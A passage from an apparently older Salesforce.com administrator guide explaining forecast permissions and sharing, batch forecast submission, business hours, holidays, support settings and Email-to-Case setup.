2. Click Enable Customizable Forecasting. If this option is not available, customizable forecasting is already enabled for
your organization. After you enable customizable forecasting, three new user permissions are available:

Permission Description
Override Forecasts Allows users to override their own forecasts and forecasts
for users below them in the forecast hierarchy. All standard
profiles except Read Only receive this permission.
Edit Personal Quota
Allows users to change their individual quotas. All standard
profiles except Read Only receive this permission.
Users with the “Manage Users” permission can always edit
any quota. Users can always edit the quotas of users that
report directly to them.

View All Forecasts Allows users to view any forecast regardless of their place in
the forecast hierarchy. The System Administrator profile
includes this permission.

3. Choose the appropriate opportunity page layouts that you want to include the new Opportunity Forecasts related list.
Optionally, choose the Append... option to add this related list to page layouts even if users have customized them.
4. Click Save.
5. If your organization has custom profiles, enable or disable these permissions where necessary in your custom profiles. For
information on changing your profiles, see Viewing and Editing Profiles on page 465.

1091
Customize Manually Sharing a Forecast

Note: With customizable forecasts, your forecasts still depend on how your Opportunity Stage picklist values
map to Forecast Categories. For instructions on reviewing these mappings, see Picklists with Additional Information
on page 800.

See Also:
Setting Up Customizable Forecasting
Enabling Territory Management
Manually Sharing a Forecast

Manually Sharing a Forecast


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's forecasting hierarchy, which determines which users can view the forecast data.
However, your administrator can manually extend sharing privileges for forecast data, and you may be able to manually extend
sharing privileges for your own forecast data as well. Manual forecast sharing can only increase access to forecast data; it cannot
restrict access for users who already have access. To manually share a forecast, you must be an administrator or a forecast
manager who has been given access to share your forecast data.
To see which users can view your forecast or to share your forecast data, do one of the following:

• Click Setup ➤ Customize ➤ Forecasts ➤ Forecast Hierarchy, then click Share next to the view you want to share.
• Click Sharing on the forecast home page to share your own forecast data.

The User and Group Sharing list shows you all the users who currently have access to this forecast data. It also details the level
of access they have, whether they can submit a forecast, and the reason they have that access. The reasons a user might have
access to forecast data are:

Reason Description
Administrator The user is an administrator, or has the “Modify All Data”
permission
Delegated Forecast Manager A user has access to forecast data that was granted via the
Sharing button on the forecast.
Forecast Manager A user has access due to being a forecast manager in the
forecast hierarchy.
Owner The owner can always see his or her own forecast data.
View All Forecasts Permission The user has a profile with the “View All Forecasts”
permission.

On the Forecast Sharing Detail page, you can do any of the following:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.

1092
Customize Submitting Customizable Forecasts in Batches

• Click Add to grant other users or groups access to the forecast data.
Note: Manual sharing extends to the opportunity data that makes up the forecast. If a user has permission to
override forecast data, then the user also has permission to override the opportunity forecast data.

• Click Expand List to view all users that have access to the forecast data.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

See Also:
Defining Customizable Forecast Settings
Assigning Forecast Managers in Your Forecast Hierarchy
Enabling Customizable Forecasting
Granting Access to Records
Viewing Which Users Have Access

Submitting Customizable Forecasts in Batches


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To submit forecasts in batches: “Customize Application”

Submitting forecasts takes a snapshot of forecast data and makes that data available in forecast history and reports. Users can
submit their forecasts individually by clicking Submit from their forecast.
To submit multiple forecasts at once:

1. Click Setup ➤ Customize ➤ Forecasts ➤ Batch Submit.


2. Choose the appropriate forecast period.
3. Select the users that have forecasts you want to submit and click Add to add them to the list of Selected Users for
Batch Submit. Select more than one at a time using CTRL+click.
4. Click Submit.
5. Click OK.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741.

See Also:
Setting Up Customizable Forecasting

1093
Customize Setting Up Customer Support

SUPPORT

Setting Up Customer Support


The available support setup options vary according to which Salesforce.com Edition you have.

If your organization uses cases and solutions, you can set up various automated support features. Click Setup ➤ Customize
➤ Cases.

• Click Business Hours to set your organization’s support hours.


• Click Assignment Rules to create rules for automatically routing cases.
• Click Escalation Rules to create rules for automatically escalating cases.
• Click Support Settings to customize email templates and defaults for automated support features.
• Click Auto-Response Rules to set up rules that send email to customers when they submit cases from one of the following:

- A Web-to-Case form
- An Email-to-Case message
- An On-Demand Email-to-Case message
- A Customer Portal
- A Self-Service portal

• Click Email-to-Case to set up the ability to capture customer emails as cases. The setup specifies how the content of each
customer email automatically populates case fields.

For support features related to solutions, click Setup ➤ Customize ➤ Solutions.

• Click Solution Categories to set up categories so your users can categorize the solutions they create.
• Click Solution Settings to enable specific options for solutions.

For additional support features, click Setup ➤ Customize ➤ Self-Service.

• Click Public Solutions to set up public solutions for your customers to use when searching for solutions.
• Click Web-to-Case to set up the ability to capture cases from your website.
• Click Self-Service Portal to set up your organization’s web portal for your customers to log cases and search for solutions.

For support features related to a Salesforce.com Customer Portal, click Setup ➤ Customize ➤ Customer Portal.

• Click Settings to set up your organization's Customer Portal so that your customers can log cases, search for solutions,
and access any custom objects you may have created for them.

For support features related to Salesforce CRM Call Center, click Setup ➤ Customize ➤ Call Center.

• Click Call Centers to set up new call centers and manage the users who are assigned to them.
• Click Directory Numbers to set up additional phone numbers that can be searched in a call center user's phone directory.
• Click SoftPhone Layouts to set up the layouts that are used to display call information in a call center user's SoftPhone.

To create support queues for cases or custom objects, click Setup ➤ Manage Users ➤ Queues.

1094
Customize Setting Business Hours

The support features include the ability to notify customers when their case is created manually or via the web, or when their
case is resolved. You can also automatically notify users when a case is escalated, created, or re-assigned. To use notification
emails, you must create email templates for each type of notification.

See Also:
Setting Up Your Organization
Administrator tip sheet: Setting Up Customer Support
Administrator tip sheet: Getting the Most from Your Self-Service Portal
Administrator setup guide: Self-Service Implementation Guide
Administrator setup guide: Case Management Implementation Guide

Setting Business Hours


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set business hours: “Manage Business Hours Holidays”

You can specify the business hours at which your customer support team operates, including multiple business hours in multiple
time zones. Setting business hours lets you apply specific time zones and locations to:

• Cases
• Case escalation rules
• Case milestones in entitlement processes

After you set business hours, users can click Business Hours on a case to set the times at which a support team is available
to work on the case. Additionally, users with the “Customize Application” permission can add business hours to escalation
rules so that when the details of a case match the criteria of an escalation rule, the case is automatically updated and escalated
with the times and location on the rule. For example, a case updated with Los Angeles business hours only escalates when a
support team in Los Angeles is available. By default, business hours are set 24 hours, seven days a week in the default time
zone specified in your organization's profile. For more information, see Setting Up Your Organization on page 341 and Setting
Up Escalation Rules on page 1051.
To set business hours:

1. Click Setup ➤ Company Profile ➤ Business Hours.


2. Click New Business Hours.
3. Enter a name for the business hours.
We recommend that you enter text in the Business Hours Name field that will remind users of a location or time zone
when they view business hours on a case. For example, if your business hours are for a support center in San Francisco,
you could enter San Francisco Business Hours.
4. Click Active to allow users to associate the business hours with cases and escalation rules.
Click Active again to deactivate the business hours. You cannot delete business hours.

1095
Customize Setting Business Hours

5. Optionally, click Use these business hours as the default to set the business hours as the default business
hours on all new cases.
Default business hours on cases can be updated with business hours on escalation rules if the cases match escalation rule
criteria and the rule is set to override business hours. For details, see Setting Up Escalation Rules on page 1051.
6. Choose a time zone to associate with the business hours in the Time Zone drop-down list.
7. Set your business hours for each day of the week:

• By default, the 24 hours checkbox is selected next to each day. Deselect this checkbox if your support team is
unavailable during the entire day. When you deselect the 24 hours checkbox, you can enter start and end times for
the business hours, or leave the fields blank.
• Choose the start and end times for the business hours. If a time is not available, click the field and enter the time. Start
times must be earlier than end times.

8. Click Save.
9. Optionally associate the business hours to:

• Escalation rules so that when the details of a case match the criteria of an escalation rule, the case is updated and
escalated with the business hours on the rule. For more information, see Setting Up Escalation Rules on page 1051.
• Holidays so that business hours and any escalation rules associated with business hours are suspended during the dates
and times specified in holidays. For more information, see Setting Holidays on page 1100.

To update business hours, click Setup ➤ Company Profile ➤ Business Hours and click the Edit link next to the name of
the business hours you wish to update.

Tips on Setting Business Hours


Consider the following when setting business hours:
• After you set business hours, add the Business Hours lookup field to case layouts and set field-level security on the
Business Hours field. This allows users to view and update business hours on a case. For more information, see
Customizing Page Layouts on page 1014 and Setting Field-Level Security on page 540.
• Business hours on a case are automatically set to your organization's default business hours, unless the case matches the
criteria on an escalation rule associated with different business hours.
• Salesforce.com automatically calculates daylight savings times for the time zones available for business hours.
• Escalation rules only run during the business hours with which they are associated. For more information, see Setting Up
Escalation Rules on page 1051.
• You can update cases associated with business hours that are no longer active without having to reactivate business hours.
• You cannot include the Business Hours field in list views or reports.
• You can create multiple business hours for support teams that operate in the same time zone but at different hours.
• For simplicity, we recommend that you create one set of business hours per support center.
• You cannot deactivate business hours that are included in escalation rules. You must first remove them from the escalation
rules. For more information, see Setting Up Escalation Rules on page 1051.
• You can associate up to 1000 holidays with each set of business hours.

1096
Customize Customizing Support Settings

• Business hours on a case take precedence over business hours on entitlements. Business hours on entitlements only add
business hours to cases created from entitlements. For example, if you add an entitlement with business hours to a case
that already has business hours, the entitlement's business hours are ignored.

See Also:
Managing Escalation Rules
Setting Up Customer Support
Entitlement Management Overview

Customizing Support Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change support settings: “Manage Cases”
AND
“Customize Application”

To optimize the automated support features, you can edit the Support Settings to specify certain templates and defaults.

1. Click Setup ➤ Customize ➤ Cases ➤ Support Settings.


2. Click Edit to customize the following defaults and templates:

Field Description
Default Case Owner The user or queue to which all cases are assigned if they fail
to match any of the case assignment rule entries. This user
cannot be inactive.
Notify Default Case Owner Checkbox that specifies whether the default case owner should
be notified when a case is assigned to him or her. When the
new owner is a queue, notice is sent to the queue email address.
Email notices are system-generated and cannot be modified.
Record Type Setting If a user creating a new case applies assignment rules, this
setting indicates which record type to assign to the new record.
If you want new cases to keep the creator's record type, select
Keep the existing record type. If you want to
overwrite the creator's record type when applying assignment
rules, select Override the existing record type
with the assignee's default record type.

Automated Case User The user listed in the Case History related list for automated
case changes resulting from assignment rules, escalation rules,

1097
Customize Customizing Support Settings

Field Description
On-Demand Email-to-Case, or cases logged in the
Self-Service portal. This user must have the System
Administrator profile or the “Modify All Data” and “Send
Email” permissions.
Case Creation Template The template to use when notifying contacts that their case
was created manually by a support representative. Sending the
notification email is optional and is triggered by a checkbox
on the case edit page. This template must be marked as
“Available for Use.”
Case Assigned Template The template to use when notifying users that a case was
manually assigned to them by an administrator or other user.
Sending the notification email is optional and is triggered by
a checkbox on the Change Case Owner page. This template
must be marked as “Available for Use.”
Case Close Template The template to use when notifying contacts that a case has
been closed. Sending the notification email is optional and is
triggered by a checkbox on the Close Case page. This template
must be marked as “Available for Use.”
Enable Case Comment Notification to Contacts Checkbox that specifies whether contacts who are not
Self-Service portal users can receive an email notification when
a case comment has been modified or added to a case. If you
choose this option, click the Case Comment Template
lookup field and select the email template to be used for these
email notifications. This template must be marked as
“Available for Use.”
Notify Case Owner of New Case Comments Sends a notification to the case owner whenever another user
adds a public or private comment to a case. When this is
checked, case owners cannot opt out of receiving these notices.
Early Triggers Enabled This check box applies to escalation rules and their actions.
You can set up an escalation rule to perform an action when
a case has been unresolved a specified number of hours. The
Age Over hour you specify determines when Salesforce.com
performs the escalation action. To ensure that your escalation
actions are triggered before the Age Over hour you specify,
enable early triggers.
Enable Suggested Solutions Use this checkbox to enable the Suggested Solutions button
on case detail pages
For more information about how Customer Portal users can
self-close their own cases directly from suggested solutions,
see Enabling Customer Portal Login and Settings on page
1313.

1098
Customize Customizing Support Settings

Field Description
For information about setting up suggested solutions for your
Self-Service portal, see Customize the Suggested Solutions
Page on page 1136.

Enable Suggested Articles Select this option to provide suggested articles on the Articles
related list. You can make suggested articles available in all
Salesforce Knowledge channels except the public knowledge
base.
Send Case Notifications from System Address Select this checkbox to specify that case comment, attachment,
and assignment notifications sent to case owners are sent from
a system address, rather than the address of the user who
updated the case.
System notifications display a “From” email address of
“noreply@salesforce.com”, and an email “Name” related to the
message, such as “Case Comment Notification”.
You can select this checkbox to prevent Self-Service or
Customer Portal users who update their cases from receiving
any “out-of-office” emails from case owners whose email is
set to “out-of-office”.

Notify Case Owners when Case Ownership Select this checkbox to specify that the Send Notification
Changes Email checkbox on cases is automatically selected when users
change a case owner to another user. Selecting this checkbox
helps prevent users from forgetting to notify other users that
they are the new owner of a case.
Note that selecting this checkbox does not specify that the
Send Notification Email checkbox is automatically
selected when users change a case owner to a queue. See
Managing Queues on page 500.

Show Closed Statuses in Case Status Field Select this checkbox to add closed statuses to the Status field
on cases so that users can close cases without having to click
the Close Case button and update information on close case
page layouts. See Closing Cases on page 2300.
Selecting Show Closed Statuses in Case Status
Field doesn't remove the Close button from case list views.
Instead, it adds Closed to the list of statuses available for users
to choose from when they select multiple cases and click
Change Status on case list views. See Viewing Case Lists
on page 2278.

Hide Save & Close Button and Cls Links After selecting Show Closed Statuses in Case
Status Field as described above, you can select this
checkbox so that the Save & Close button on case edit
pages and Cls links on Cases related lists don't display

1099
Customize Setting Holidays

Field Description
unnecessarily. Instead, users close cases via the Status field
and Save button.

See Also:
Managing Email Templates
Managing Queues
Managing Assignment Rules
Managing Escalation Rules
Capturing Web Cases
Setting Up Customer Support

Setting Holidays
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set holidays: “Manage Business Hours Holidays”

Holidays enable you to specify the dates and times at which your customer support team is unavailable. After you create a
holiday, you can associate it with business hours to suspend business hours and escalation rules during the dates and times
specified in the holiday. For more information, see Setting Business Hours on page 1095 and Setting Up Escalation Rules on
page 1051.
To set holidays:

1. Click Setup ➤ Company Profile ➤ Holidays.

• Click Edit to edit an existing holiday.


• Click Del to delete an existing holiday.
You can only delete a holiday that is not associated with any business hours.
• Click Clone next to an elapsed holiday to clone it.
The Elapsed Holidays related list displays holidays that have occurred in the past. You can only clone elapsed holidays.

If the Go to list link appears at the bottom of the Holidays or Elapsed Holidays related list, click it to display all the
items. From the list you can edit or delete any existing holiday, or clone any elapsed holiday.
Caution: Any elapsed holidays that you delete are not moved to the Recycle Bin. They cannot be recovered.

The recurring icon ( ) displays next to the date and time of recurring holidays.

1100
Customize Setting Holidays

2. Click New.
3. Enter a name for the holiday.
4. Enter a date for the holiday.
If you want the holiday to span more than one day:

a. Select the Recurring Holiday checkbox


b. Enter the first day of the holiday in the Start Date field.
c. Deselect the No End Date checkbox in the End Date field.
d. Enter the last day of the holiday in the End Date field.

5. Optionally, you can:

• Specify the exact times at which the holiday takes place by deselecting the All Day checkbox next to the Time field
and entering the exact times.
• Select the Recurring Holiday checkbox to schedule the holiday to recur during specific dates and times:
- In the Frequency field, select the frequency at which the holiday recurs. When you click the Daily, Weekly, or
Monthly fields, more options display that allow you to refine frequency criteria.
- In the Start Date and End Date fields, specify the dates during which you wish the holiday to recur.
The following error message displays if you select a start date and end date that does not correspond with the
frequency you selected: The recurring holiday has no occurrence.

6. Click Save.
7. Click Add/Remove on the Business Hours related list.
8. Add or remove business hours to the holiday by selecting business hours in the Available Business Hours column, and
clicking the Add or Remove arrows to add or remove business hours to the Selected Business Hours column.
9. Click Save.

Tips on Setting Holidays


Consider the following when setting holidays:
• You can associate a holiday with multiple business hours.
• You can associate up to 1000 holidays with each set of business hours.
• Holidays automatically acquire the time zone of the business hours with which they are associated. For example if you
associate a holiday to business hours that are in Pacific Standard Time, the holiday will take effect for those business hours
in Pacific Standard Time.
• Holiday names do not need to be unique. For example, you could enter multiple holidays named New Year's Day.
• Currently, there are no limits to how many holidays you can create for your organization.
• Currently, report results do not take into account holidays.
• If you schedule a holiday to recur on a specific day of every month, the holiday will only recur on months that have that
specific day. For example, if you schedule a holiday on the 31st day of every month, then the holiday will only recur on
months that have 31 days. If you want a holiday to recur on the last day of every month, choose last from the On day of
every month drop-down list.
• You can only add business hours marked as Active to holidays. For more information, see Setting Business Hours on
page 1095.

1101
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

Setting Up Email-to-Case or On-Demand Email-to-Case


Email-to-Case is available in: Professional, Enterprise, Unlimited, and Developer Editions
On-Demand Email-to-Case is available in Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Email-to-Case or On-Demand Email-to-Case: “Customize Application”
To enable Email-to-Case or On-Demand Email-to-Case: “Modify All Data”
AND
“Customize Application”

Salesforce.com can automatically create a case when an email is sent to one of your company's email addresses, such as
support@company.com. This Email-to-Case functionality auto-populates case fields from the content of each email. For
example, an email subject heading becomes a case subject. Your organization can set up Email-to-Case or On-Demand
Email-to-Case to efficiently resolve and correspond with customer inquiries via email.
Salesforce.com allows you to choose one of two Email-to-Case options:
Email-to-Case
Email-to-Case requires downloading the Email-to-Case agent from wiki.developerforce.com/index.php/Email_To_Case
and installing the agent behind your network's firewall.
Use Email-to-Case if you have a requirement to keep all email traffic within your firewall, and you want to accept email
attachments larger than 10 MB from customers.

On-Demand Email-to-Case
On-Demand Email-to-Case uses Apex email services to convert email to cases, without you having to download and
install an agent behind your network's firewall.
Use On-Demand Email-to-Case if you are not concerned about keeping email traffic within your firewall, and you do
not need to accept attachments larger than 10 MB from customers.

Setting Up Email-to-Case
The following high-level steps outline how to set up Email-to-Case:
1. Determine the email routing addresses that your customers can use to submit cases to your support team. Emails are
automatically converted to cases based on the settings specified for each routing address.
2. In Salesforce.com, enable Email-to-Case and configure your email routing addresses. See Enabling and Configuring
Email-to-Case on page 1103.
3. Download the Email-to-Case agent from wiki.developerforce.com/index.php/Email_To_Case.
4. Install the agent behind your network's firewall.
5. Test your email routing addresses:
a. Manually send emails to the routing addresses.
b. Verify that the emails convert to cases based on their routing address settings.

1102
Customize Enabling and Configuring Email-to-Case

6. Add the email address that you configured to your company's support website. This is the email address customers can use
to submit cases to your support team.
7. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 1014.
Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand
Email-to-Case emails. These templates can include merge fields that display information from the original email in
the response. See Managing Email Templates on page 423.

Setting Up On-Demand Email-to-Case


The following high-level steps outline how to set up On-Demand Email-to-Case:
1. Determine the email routing addresses that your customers can use to submit cases to your support team. Emails are
automatically converted to cases based on the settings specified for each routing address.
2. In Salesforce.com, configure your email routing addresses and enable On-Demand Email-to-Case. See Enabling and
Configuring On-Demand Email-to-Case on page 1107.
3. Configure your email system to forward case submissions to the email services address provided to you by Salesforce.com.
For more information, see your email system's documentation.
4. Test your email routing addresses:
a. Manually send emails to the routing addresses.
b. Verify that the emails convert to cases based on their routing address settings.

5. Add the email address that you configured to your company's support website. This is the email address customers can use
to submit cases to your support team.
6. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 1014.
Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand
Email-to-Case emails. These templates can include merge fields that display information from the original email in
the response. See Managing Email Templates on page 423.

Enabling and Configuring Email-to-Case


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Email-to-Case: “Customize Application”
To enable Email-to-Case: “Modify All Data”
AND
“Customize Application”

This topic describes how to enable and configure Email-to-Case using the options available on the Email-to-Case Settings
page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before and
after the tasks described in this topic.

1103
Customize Enabling and Configuring Email-to-Case

This topic is intended for customers who are running the Email-to-Case agent within their network's firewall, as opposed to
On-Demand Email-to-Case which uses Apex email services. For information on enabling and configuring On-Demand
Email-to-Case, see Enabling and Configuring On-Demand Email-to-Case on page 1107.
Before getting started, review the information in Tips on Email-to-Case on page 1106.
To implement Email-to-Case, you need to add a new email routing address, verify the new email routing address, and enable
Email-to-Case:

1. Click Setup ➤ Customize ➤ Cases ➤ Email-to-Case.


From the Email-to-Case Settings page, you can:

• Click Edit to edit an existing routing address.


• Click Del to delete an existing routing address.
• Click Verify to confirm and verify the email address used in an existing routing address. A verification email is
immediately sent to the new routing address, which includes a link, that when clicked, completes the verification process.

2. From the Routing Addresses related list, click New. You can create up to 50 routing addresses to administer separate email
addresses for Email-to-Case. A routing address is activated after Email-to-Case is enabled.
3. Enter the routing address settings.

Setting Description
Routing Name The name for the routing address. For example, Gold
Support or Standard Support.
Email Address The inbound email address for this Email-to-Case routing
address. Emails sent to this address are created as cases using
the specified settings. The email address must be unique.
Note that this is the email address to which you will provide
a link on your company's support website.
Save Email Headers Select this checkbox to save the email routing information
associated with each email submitted as a case. Saving email
routing information counts towards your organization's
overall storage limit.
To view email headers from an email converted to a case,
see Working with Case Emails on page 2290.

Create Task from Email Select this checkbox to automatically assign a task to the
case owner when an email is submitted as a case.
Assignment rules automatically assign owners to a case;
however, if a case does not match assignment rule criteria,
then the user in the Default Case Owner field on the
Support Settings page is assigned to the case. For more
information, see Setting Up Assignment Rules on page 1047
and Customizing Support Settings on page 1097.

1104
Customize Enabling and Configuring Email-to-Case

Setting Description
Task Status Choose a status from this drop-down list with which to
predefine the Status field on tasks automatically assigned
to case owners when email is submitted as cases.
This setting is only available if you selected the Create
Task from Email checkbox.

Case Priority The priority assigned to cases created from emails sent to
this email address.
Case Origin The value assigned to the Case Origin field for cases
created via this Email-to-Case routing information.
Case Record Type The record type used to create cases from emails sent to this
email address. If a routing address has a case record type of
“None,” then new cases will default to the record type of the
user configured in the Email-to-Case agent. If your
organization does not use record types, this setting is not
available.

4. Click Save to save the routing address settings.


Alternatively, click Save & New to save the routing address, and then create a new routing address.
A verification email is immediately sent to the new routing address, which will not be verified until you click the verification
link in the email.
5. Click the link in the verification email.
Optionally, click Verify next to the email address on the Email Address detail page to have Salesforce.com send another
verification email to the new routing address.
Salesforce.com notifies you when the new email routing address is verified.
6. Click Continue.
7. Return to the Email-to-Case Settings page by clicking Setup ➤ Customize ➤ Cases ➤ Email-to-Case.
8. Click Edit to apply the following Email-to-Case settings:

Email-to-Case Setting Description


Enable Email-to-Case Select this checkbox to activate Email-to-Case.
Notify Case Owners on New Email Select this checkbox to allow case owners to automatically
receive notifications when email arrive for their existing
cases. Email notifications assign a task to the case owner to
respond to the new email. Responding to the email closes
the task. To disable email notifications at any time, simply
deselect the checkbox.
Enable HTML Email Select this checkbox to warn users before they view incoming
HTML email content so that they can avoid opening
potentially malicious HTML that could harm their

1105
Customize Enabling and Configuring Email-to-Case

Email-to-Case Setting Description


computers. With this setting disabled, users will see text
instead of HTML on email message detail pages, and when
users reply to an email, the text version of the email will be
copied to the email editor, instead of the HTML version.
To disable HTML email warnings at any time, simply
deselect the checkbox.
Email Subject Select this checkbox to add the thread ID to the subject of
email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref ]. By default, the thread ID is
added to both the subject and body of case emails.

Email Body Select this checkbox to add the thread ID to the body of
email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref ]. By default, the thread ID is
added to both the subject and body of case emails.

9. Click Save.

Tips on Email-to-Case
Consider the following when setting up a routing address for Email-to-Case:
• When a customer sends an email to this routing address, a case is created in your organization with the email subject as
the case Subject and the email body as the case Description.
• The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings
when the routing address is included in either the To, CC, or BCC fields of an inbound email. Salesforce.com processes the
routing address of an inbound email in the following order and stops at the first match:
1. To
2. CC
3. BCC
Note that some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate
properly if the routing address is included in the BCC field of an inbound email.
• To have cases that are created via Email-to-Case automatically display in the Self-Service portal, see Enabling Self-Service
Features and Settings on page 1122.
• The limit on the number of emails a day that an organization can convert into cases is 2500 per day for Professional,
Enterprise, Unlimited, and Developer Editions (total number of cases, inclusive of all email addresses). If your organization
exceeds its daily Email-to-Case limit, the following API exception code is returned to the Email-to-Case agent:
EMAIL_TO_CASE_LIMIT_EXCEEDED. You can configure the agent to take appropriate action, such as notifying
your administrator, when this occurs.

1106
Customize Enabling and Configuring On-Demand Email-to-Case

• Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to emails.
If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case
emails create new cases.
• When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients
as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications
receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected
for your organization, which enables email messages sent from Salesforce.com to comply with email applications that
require Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 776.

See Also:
Displaying and Editing Cases
Working with Case Emails
Managing Assignment Rules
Setting Up Auto-Response Rules

Enabling and Configuring On-Demand Email-to-Case


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up On-Demand Email-to-Case “Customize Application”
To enable On-Demand Email-to-Case “Modify All Data”
AND
“Customize Application”

This topic describes how to enable and configure On-Demand Email-to-Case using the options available on the Email-to-Case
Settings page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before
and after the tasks described in this topic.
Before getting started, review the information in Tips and Considerations for On-Demand Email-to-Case on page 1111.
To enable and configure On-Demand Email-to-Case, perform the following procedures in order:

1. Enabling On-Demand Email-to-Case


2. Defining and Verifying Email Routing Addresses
3. Configuring Email-to-Case Settings

Enabling On-Demand Email-to-Case


To enable On-Demand Email-to-Case:
1. Click Setup ➤ Customize ➤ Cases ➤ Email-to-Case to open the Email-to-Case settings page.
2. Click Edit.
3. Select the Enable Email-to-Case checkbox. After you enable Email-to-Case, it cannot be disabled.

1107
Customize Enabling and Configuring On-Demand Email-to-Case

4. Select the Enable On-Demand Service checkbox.


To disable On-Demand Email-to-Case at any time, deselect the checkbox. You can also re-enable On-Demand
Email-to-Case at any time.
5. Click Save. You will configure the remaining settings later.

Defining and Verifying Email Routing Addresses


To define and verify email routing addresses:
1. Click Setup ➤ Customize ➤ Cases ➤ Email-to-Case to open the Email-to-Case settings page.
2. On the Routing Addresses related list, click New.
3. Enter the routing address settings:

Setting Description
Routing Name The name for the routing address. For example, Gold
Support or Standard Support.
Email Address The inbound email address for this On-Demand
Email-to-Case routing address. Email sent to this address
creates new cases using the specified settings. The email
address must be unique.
Note that this is the email address to which you will provide
a link on your company's support website.

Save Email Headers Select this checkbox to save the email routing information
associated with each email submitted as a case. Saving email
routing information counts towards your organization's
overall storage limit. For more information, see Monitoring
Resources on page 595.
To view email headers from an email converted to a case,
see Working with Case Emails on page 2290.

Accept Email From Leave this field blank to allow On-Demand Email-to-Case
to receive email from any email address or domain. Or, you
can limit the email addresses and domains available for
On-Demand Email-to-Case by entering them in this field.
Create Task from Email Select this checkbox to automatically assign a task to the
case owner when an email is submitted as a case.
Assignment rules automatically assign owners to a case;
however, if a case does not match assignment rule criteria,
then the user in the Default Case Owner field on the
Support Settings page is assigned to the case. For more
information, see Setting Up Assignment Rules on page 1047
and Customizing Support Settings on page 1097.

Task Status Choose a status from this drop-down list with which to
predefine the Status field on tasks automatically assigned
to case owners when email is submitted as cases.
This setting is only available if you selected the Create
Task from Email checkbox.

1108
Customize Enabling and Configuring On-Demand Email-to-Case

Setting Description
Case Priority The priority assigned to cases created from emails sent to
this email routing address.
Case Origin The value assigned to the Case Origin field for email sent
to this email routing address.
Case Record Type The record type used to create cases from emails sent to this
email routing address.
This setting is not available if your organization does not
use record types.
The user in the Automated Case User field on the
Support Settings page will automatically receive a notification
if he or she does not have access to the selected case record
type.

4. Click Save to save the routing address settings. Alternatively, click Save & New to save the routing address, and then
create a new routing address.
You can only save routing addresses if a user is included in the Automated Case User field on the Support Settings
page. To add a user to the Automated Case User field, click Setup ➤ Customize ➤ Cases ➤ Support Settings.
A verification email is immediately sent to the new routing address which includes a link that you click to complete the
verification process. The new routing address will not be verified until you open the email and click the link.
5. Click the link in the verification email.
When the new email routing address is verified, it is listed as Verified in the Routing Addresses related list on the
Email-to-Case Settings page. In addition, Salesforce.com automatically generates a unique email service address with
which you configure your email system to forward case submissions. This email services address displays in the Routing
Addresses related list on the Email-to-Case Settings page and on the detail page of a each routing address.

Tip: To send additional verification emails to a new routing address, go to the Routing Addresses related list on the
Email-to-Case Settings page and click Verify next to the email address.
After verifying a routing address, click its name in the Routing Addresses related list to view its details, edit its settings,
or clone new copies of it.

Configuring Email-to-Case Settings


To configure Email-to-Case settings:
1. Click Setup ➤ Customize ➤ Cases ➤ Email-to-Case to open the Email-to-Case settings page.
2. Click Edit.
3. As appropriate, set the following options:

On-Demand Email-to-Case Setting Description


Notify Case Owners on New Email Select this checkbox to allow case owners to automatically
receive notifications when emails arrive for their existing
cases. Email notifications assign a task to the case owner to
respond to the new email when the Create Task from
Email checkbox is selected. Responding to the email closes

1109
Customize Enabling and Configuring On-Demand Email-to-Case

On-Demand Email-to-Case Setting Description


the task. To disable email notifications at any time, simply
deselect the checkbox.
Enable HTML Email Select this checkbox to warn users before they view incoming
HTML email content so that they can avoid opening
potentially malicious HTML that could harm their
computers. With this setting disabled, users will see text
instead of HTML on email message detail pages, and when
users reply to an email, the text version of the email will be
copied to the email editor, instead of the HTML version.
To disable HTML email warnings at any time, simply
deselect the checkbox.
Email Subject Select this checkbox to add the thread ID to the subject of
email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref ]. By default, the thread ID is
added to both the subject and body of case emails.

Email Body Select this checkbox to add the thread ID to the body of
email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref ]. By default, the thread ID is
added to both the subject and body of case emails.

Over Email Rate Limit Action Choose what On-Demand Email-to-Case does with email
that surpasses the daily email processing limit for your
organization:
• Bounce message - The email service returns the message
to the sender or to the Automated Case User for
On-Demand Email-to-Case, with a notification that
explains why the message was rejected.
• Discard message - The email service deletes the message
without notifying the sender.
• Requeue message - The email service queues the message
for processing in the next 24 hours. If the message is not
processed within 24 hours, the email service returns the
message to the sender with a notification that explains
why the message was rejected.
For more information on email processing limits, see Tips
and Considerations for On-Demand Email-to-Case.

